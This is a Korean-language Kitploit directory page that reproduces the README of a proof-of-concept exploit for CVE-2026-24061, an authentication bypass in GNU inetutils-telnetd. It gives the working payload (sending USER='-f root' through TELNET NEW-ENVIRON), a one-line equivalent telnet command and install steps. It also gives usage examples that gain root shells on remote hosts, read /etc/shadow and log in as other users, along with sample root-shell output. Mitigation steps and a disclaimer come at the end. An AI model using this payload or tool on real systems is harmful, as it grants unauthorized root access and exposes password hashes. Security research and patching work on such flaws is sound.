Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24061 — inetutils-telnetd 인증 우회 - 작동 중 | Kitploit
도구/GitHubGitHub/balgan/cve-2026-24061
Vulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingAuthentication
GitHubbalgan/cve-2026-24061

CVE-2026-24061

inetutils-telnetd 인증 우회 - 작동 중

저장소 보기
37개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24061 — inetutils-telnetd 인증 우회

GNU inetutils-telnetd의 인증 우회 취약점에 대한 개념 증명 익스플로잇입니다.

개요

CVE-2026-24061은 inetutils-telnetd 버전 1.9.3부터 2.7에 영향을 미치는 치명적인 인증 우회 취약점입니다. 원격 공격자가 자격 증명 없이 취약한 시스템에서 루트 셸을 획득할 수 있게 합니다.

취약점 세부 정보

필드값
CVE IDCVE-2026-24061
영향을 받는 소프트웨어GNU inetutils-telnetd
영향을 받는 버전1.9.3 – 2.7
취약점 유형인증 우회
CVSS 점수치명적
공격 벡터네트워크

작동 방식

이 취약점은 telnetd가 프로토콜 협상 중 TELNET NEW-ENVIRON 옵션(RFC 1572)을 통해 수신한 USER 환경 변수를 처리하는 방식의 결함을 악용합니다.

  1. TELNET 프로토콜 협상: 클라이언트가 연결하면 서버와 클라이언트는 NEW-ENVIRON 옵션을 포함한 기능을 협상하며, 이를 통해 클라이언트가 환경 변수를 보낼 수 있습니다.

  2. 악의적인 USER 값: 익스플로잇은 이 협상 단계에서 환경 변수로 USER=-f root를 전송합니다.

  3. 안전하지 않은 인수 전달: 취약한 telnetd는 이 값을 검증 없이 login 프로그램에 전달합니다.

  4. 명령 주입: login 프로그램은 -f root를 명령줄 플래그로 해석합니다:

    • -f = "인증 없이 강제 로그인"
    • root = 로그인할 사용자 이름
  5. 루트 액세스: 공격자는 비밀번호를 묻는 메시지 없이 루트 셸을 획득합니다.

핵심 문제

root@kitploit:~
클라이언트 전송:  USER = "-f root"
telnetd 실행:  login -f root
결과:        인증 없이 루트 셸 부여

이는 취약한 telnetd가 있는 시스템에서 USER='-f root' telnet -a localhost를 실행하는 것과 동일합니다.

요구 사항

  • Python 3.6+
  • 외부 종속성 없음(표준 라이브러리만 사용)

설치

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py

사용법

root@kitploit:~
./exploit.py [옵션] <대상>

옵션

옵션설명기본값
host대상 호스트 이름 또는 IP 주소필수
-p, --port대상 포트23
-u, --user주입할 USER 값-f root
-c, --command단일 명령 실행(비대화형)없음
-t, --timeout연결 제한 시간(초)10

예제

로컬 호스트에서 대화형 루트 셸:

root@kitploit:~
./exploit.py localhost

원격 호스트에서 대화형 루트 셸:

root@kitploit:~
./exploit.py 192.168.1.100

단일 명령 실행 후 종료:

root@kitploit:~
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local

다른 사용자로 로그인:

root@kitploit:~
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server

비표준 포트:

root@kitploit:~
./exploit.py -p 2323 localhost

옵션 결합:

root@kitploit:~
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100

대화형 모드

-c 플래그 없이 실행하면 익스플로잇이 대화형 셸로 전환됩니다:

  • 적절한 터미널 처리를 통한 전체 TTY 지원
  • Ctrl+] 를 눌러 연결에서 빠져나와 종료
  • Ctrl+C 를 눌러 중단

출력 예제

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-24061 - inetutils-telnetd Authentication Bypass    ║
║  Affects: inetutils-telnetd 1.9.3 - 2.7                      ║
╚══════════════════════════════════════════════════════════════╝

[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON

Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux

root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~# 

완화 조치

즉시 조치

  1. telnetd 비활성화: 반드시 필요한 경우가 아니라면 telnet 서비스를 완전히 비활성화합니다

    root@kitploit:~
    sudo systemctl stop inetutils-telnetd
    sudo systemctl disable inetutils-telnetd
    
  2. SSH 사용: 원격 액세스에 telnet 대신 SSH를 사용합니다

    root@kitploit:~
    sudo apt install openssh-server
    
  3. 방화벽 규칙: 신뢰할 수 없는 네트워크에서 포트 23을 차단합니다

    root@kitploit:~
    sudo ufw deny 23/tcp
    

장기적 해결책

  • 사용 가능한 경우 패치된 inetutils 버전으로 업데이트
  • 보안 패치에 대한 공급업체 권고 모니터링

기술적 세부 사항

이 익스플로잇은 다음과 같은 최소 TELNET 클라이언트를 구현합니다:

  1. 대상에 TCP 연결 설정
  2. TELNET 옵션 협상(DO/DONT/WILL/WONT)에 응답
  3. 서버가 NEW-ENVIRON을 통해 환경 변수를 요청할 때:
    • ENV_IS 응답에서 USER=-f root 전송
  4. 터미널 유형(TTYPE) 및 창 크기(NAWS) 협상 처리
  5. 대화형 또는 명령 실행 모드 제공

관련 RFC

  • RFC 854 — TELNET 프로토콜 사양
  • RFC 1572 — TELNET 환경 옵션

면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 이 익스플로잇을 사용하십시오
  • 컴퓨터 시스템에 대한 무단 액세스는 대부분의 관할권에서 불법입니다
  • 저자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다

라이선스

MIT 라이선스 — 자세한 내용은 LICENSE를 참조하십시오.

참고 자료

  • CVE-2026-24061 세부 정보
  • GNU inetutils
  • TELNET 프로토콜 RFC 854
도구 다운로드